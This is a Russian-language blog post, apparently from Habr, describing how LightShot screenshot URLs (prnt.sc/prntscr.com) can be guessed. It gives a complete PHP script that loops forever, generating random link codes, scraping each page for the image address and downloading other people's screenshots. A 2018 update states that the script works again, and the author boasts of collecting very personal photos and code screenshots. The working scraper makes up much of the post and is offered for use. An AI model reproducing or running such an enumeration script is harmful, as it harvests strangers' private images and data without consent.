Сегодня я наткнулся на одну «уязвимость» сервиса для моментальных скриншотов LightShot.
Всё началось с того, что я загрузил очередной скриншот и вспомнил недавнюю статью на хабре, где сливались пользовательские данные по ссылкам методом перебора.
Попробовав изменить одну букву в URL'e, мне любезно выдало чужой скриншот.
Для начала я попытался понять по какой маске генерируется ссылка вида http://prntscr.com/1npf9n
После небольших экспериментов, понял что маска скорее всего вида prntscr.com/1[a-z0–9] (после цифры 1 идет от 4 до 5 рандомных символов)
Так же я попробовал ссылки http://prntscr.com/login и http://prntscr.com/admin, по которым тоже увидел скриншоты.
Вероятнее всего алгоритм немного переписывался, и текущий алгоритм генерации ссылки устроен так, что исчерпав все варианты комбинаций, либо увеличится длина ссылки до 7 символов, либо маска станет prntscr.com/2[a-z0–9]
В процессе обнаружил одну особенность сервиса — он не хранит картинки у себя на сервере, а заливает их через API на imgur.com и imageshack.us
Меня терзало любопытство: «А можно ли скачать все скриншоты?»
И было решено написать небольшой скрипт. Сначала хотел писать на Python, но он не установлен на моем рабочем ноутбуке, зато под руку попался Denwer и PHP.
Просьба не пинать меня за мой код, который был написан за 5 минут на скорую руку. Он вполне рабочий.
<?php
set_time_limit(0); // убираем ограничение по времени выполнения скрипта
ob_implicit_flush();
function random_string($length)
{ // функция генерации рандомной строки
$chars = "abcdefghijklmnopqrstuvwxyz1234567890"; // символы из которых генерируем
$numChars = strlen($chars); // Определяем длину $chars
$string = ''; // задаем пустую переменную
for ($i = 0; $i < $length; $i++) { // Собираем строку
$string.= substr($chars, rand(1, $numChars) - 1, 1);
}
return $string; // Возвращаем готовую строку
}
function get_http_response_code($url) { // функция проверки http кода
$headers = get_headers($url);
return substr($headers[0], 9, 3);
}
if (!file_exists('lightshot_images')) { // создаем директорию куда сохранять картинки, если отсутствует
mkdir('lightshot_images', 0777);
}
$options = array(
'http' => array(
'method' => "GET",
'header' => "Accept-language: en\r\n" . "User-Agent: Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.102011-10-16 20:23:10\r\n"
)
);
$context = stream_context_create($options);
while (1) {
$randstring = random_string(5); // генерируем рандомную сроку
$htmldata = file_get_contents('https://prnt.sc/m' . $randstring, false, $context); // подставляем рандомную строку и получаем код страницы
preg_match_all('/<meta name=\"twitter:image:src\" content=\"(.*?)\"\/>/is', $htmldata, $img_url); // парсим регуляркой url картинки
if (strlen($img_url[1][0]) > 1) { // проверяем длину полученной строки, если больше 1 - картинка по этому адресу есть
$imgs = str_replace('//st.prntscr', 'https://st.prntscr', $img_url[1][0]);
$localname = array_pop(explode('/', $img_url[1][0])); // разбиваем строку в массив и извлекаем последний элемент массива (т.е. imagename.png)
$localpath = "./lightshot_images/" . $localname; // определяем куда будет сохраняться картинка локально.
if (get_http_response_code($imgs) != "200") {
echo "<span style='color:red;display:block;margin-bottom:10px;font-size:14px;'>404. По адресу " . $imgs . " картинки больше нет :(</span>";
} else {
file_put_contents($localpath, file_get_contents($imgs, false, $context)); // скачиваем, можно было бы реализовать через curl, но на мой взгляд это проще и быстрее
echo "<span style='color:green;display:block;margin-bottom:10px;font-size:14px;'>Сохранение - " . $localname . " , url - http://prntscr.com/m" . $randstring . " , скачиваем с " . $imgs . "</span>";
}
} else {
echo "<span style='color:red;display:block;margin-bottom:10px;font-size:14px;'>По адресу http://prntscr.com/m" . $randstring . " нет картинки</span>";
}
}
?>
Результат выполнения в браузере (как видно, ~95% сгенерированных рандомных ссылок выдают скриншоты)
В итоге накачал целую кучу скриншотов, среди которых есть слишком личные фото людей, скриншоты кода, и много других интересных вещей.
UPD 2018: Поправил скрипт с учетом изменений произошедших на lightshot. Теперь снова работает.